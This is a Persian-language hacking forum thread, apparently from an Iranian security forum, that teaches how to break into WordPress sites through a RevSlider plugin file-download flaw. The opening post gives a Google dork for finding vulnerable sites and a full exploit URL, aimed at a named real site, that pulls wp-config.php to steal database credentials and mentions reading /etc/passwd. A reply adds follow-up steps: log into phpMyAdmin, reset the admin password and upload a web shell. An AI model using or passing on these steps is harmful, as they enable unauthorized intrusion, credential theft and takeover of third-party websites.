discord icon
سرور دیسکورد گاردایران

پست های پیشنهاد شده

سلام دوستان امروز میخوایم یک سایت وردپرسی را با پلاگین revslider هک کنیم

باگی که این پلاگین داره   :      local file download

دورک گوگل  :   revslider.php "index of"

خب دوستان ما با استفاده از این باگ میتونیم هر فایلی که بخوایم دانلود کنیم ما اینجا میخوایم فایل wp-config.php  را دانلود کنیم همونطور که میدونید این فایل حاوی یوزر و پسورد دیتابیس سایت هست 

خب حالا یک سایت را باز میکنیم مثلا من سایت زیر را باز کردم:

http://partotaprayan.ir/wp-content/plugins/revslider

خب حالا ادرس را به این تغییر میدیم:

http://partotaprayan.ir/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

خب حالا اگر اینتر کنیم فایل wp-config.php دانلود میشه به جای این فایل میتونیم فایل etc/passwd

را هم دانلود کنیم لایک شما یعنی خوشتون اومدی

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
در 6 ساعت قبل، armanbabaei گفته است :

سلام دوستان امروز میخوایم یک سایت وردپرسی را با پلاگین revslider هک کنیم

باگی که این پلاگین داره   :      local file download

دورک گوگل  :   revslider.php "index of"

خب دوستان ما با استفاده از این باگ میتونیم هر فایلی که بخوایم دانلود کنیم ما اینجا میخوایم فایل wp-config.php  را دانلود کنیم همونطور که میدونید این فایل حاوی یوزر و پسورد دیتابیس سایت هست 

خب حالا یک سایت را باز میکنیم مثلا من سایت زیر را باز کردم:

http://partotaprayan.ir/wp-content/plugins/revslider

خب حالا ادرس را به این تغییر میدیم:

http://partotaprayan.ir/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

خب حالا اگر اینتر کنیم فایل wp-config.php دانلود میشه به جای این فایل میتونیم فایل etc/passwd

را هم دانلود کنیم لایک شما یعنی خوشتون اومدی

بعد اینکه دانلود کردیم چطور وارد بشیم؟

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

خب دوست عزیز دیگه باید صفحه لاگین phpmyadmin رو پیدا کنی و وارد بشی از اونجا میتونی پسورد ادمین رو عوض کنی وقتی پسورد ادمین رو عوض کردی میتونی وارد شی و شل آپلود کنی

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
در 1 ساعت قبل، vortexteam گفته است :

درست میفرمودید

ویرایش توسط 0r0b4s

گیرم درست فرمودن چه ربطی به شما دراه ؟

این پستم پاک میشه و دیگری
 

 

توجه کنید لطفا

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
مهمان
این موضوع برای عدم ارسال قفل گردیده است.